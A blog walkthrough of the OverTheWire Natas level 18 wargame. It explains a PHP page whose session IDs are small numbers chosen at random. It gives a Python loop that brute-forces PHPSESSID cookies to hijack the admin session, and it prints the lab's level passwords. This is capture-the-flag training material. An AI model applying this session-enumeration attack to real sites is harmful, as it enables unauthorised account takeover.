Natas Level 18 → Level 19

The page start with a username and a password field for you to login as admin and to retrieve credentials for natas19. From the source code, it is not as simple.

<? 
$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { /* {{{ */ 
 if($_REQUEST["username"] == "admin") { 
 /* This method of authentication appears to be unsafe and has been disabled for now. */ 
 //return 1; 
 } 
 return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
 return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
 global $maxid; 
 return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
 if(array_key_exists("debug", $_GET)) { 
 print "DEBUG: $msg<br>"; 
 } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
 if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
 if(!session_start()) { 
 debug("Session start failed"); 
 return false; 
 } else { 
 debug("Session start ok"); 
 if(!array_key_exists("admin", $_SESSION)) { 
 debug("Session was old: admin flag set"); 
 $_SESSION["admin"] = 0; // backwards compatible, secure 
 } 
 return true; 
 } 
 } 
 return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
 if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
 print "You are an admin. The credentials for the next level are:<br>"; 
 print "<pre>Username: natas19\n"; 
 print "Password: <censored></pre>"; 
 } else { 
 print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
 } 
} 
/* }}} */ 
$showform = true; 
if(my_session_start()) { 
 print_credentials(); 
 $showform = false; 
} else { 
 if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
 session_id(createID($_REQUEST["username"])); 
 session_start(); 
 $_SESSION["admin"] = isValidAdminLogin(); 
 debug("New session started"); 
 $showform = false; 
 print_credentials(); 
 } 
} 
if($showform) { 
?>

Let’s look at the code to see what this is doing.

  • At the top, $maxid is set to 640 seems to indicated that there are only 640 id available.
  • Next, isValidAdminLogin() function will always return 0. The if statement does nothing.
  • IsValidID() is only checking if the $id is numeric.
  • createID() randomly pick a user id from 1 to 640 ($maxid)
  • debug() print debug message if “debug” key is set in $_GET
  • my_session_start() does several things here
    • It checks if PHPSESSID set in $_COOKIE, and the set value is numeric, if false on either condition, my_session_start() return false. PHPSESSID is a cookie to store unique session id string in user’s computer.
    • If true on above condition, it will then checks if session has failed to start (session_start() return false), if so, it prints a debug message and return false for my_session_start()
    • Otherwise if a session has successfully started (session_start() is true) and return true for my_session_start(). It also set the $_SESSION variable for key “admin” to 0 if the key “admin” is NOT in the $_SESSION variable array.
  • print_credentials will print the next password if $_SESSION has something in it and contain an “admin” key in $_SESSION with its variable set to 1. Otherwise, a regular user message is printed.
  • main function check
    • if my_session_start() is true then call print_credentials(). Which means a PHPSESSID exist in $_COOKIE and the value is numeric before calling print_credentials().
    • otherwise, if my_session_start() is false means either PHPSESSID is not in $_COOKIE or the value is not numeric or session_start() return false (session failed to start). It will check if the key “username” exist in $_REQUEST and “password” exist in $_REQUEST, if so, it will get a number between 1 and 640 and make that as the current session id, start a new session (session_start()), set the “admin” key in $_SESSION to 0 (invalid admin login), and finally call print_credentials.
So to get the next password, we must take the then path in main function with the “admin” key in $_SESSION set to 1. In order to do that, the “admin” key must already be in the $_SESSION. However, unless we are already in the “admin” session, we really can’t do anything to the “admin” value because any new session will set the “admin” in $_SESSION to 0.In another word, the only way to do this is to fake our session id so that it is the “admin” session id, and the value is set to 1 in $_SESSION for “admin”. From createID(), we see that session id is selected between 1 to 640. Since there are only 640 session id available due to the $maxid constraint when createID(), we can enumerate the session id by setting PHPSESSID in $_COOKIE to one of the value and check the return for the matching admin message in print_credentials().

Coding a for loop to do this automatically. Using python requests library make this task super easy.

#!/bin/python3
import requests
maxid = 641
url = "http://natas18.natas.labs.overthewire.org"
user = "natas18"
passwd = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
    c = dict(PHPSESSID=str(i))
    h = requests.get(url, auth=(user, passwd), cookies=c)
    if match in str(h.content):
        print (h.content)
        break

Took us a while (id=585) but we got the next password in the content.

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

This challenge forced me to read up on PHP session handling and some of the functions. I included some of the references that help understand the PHP code.

Additional resources:

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s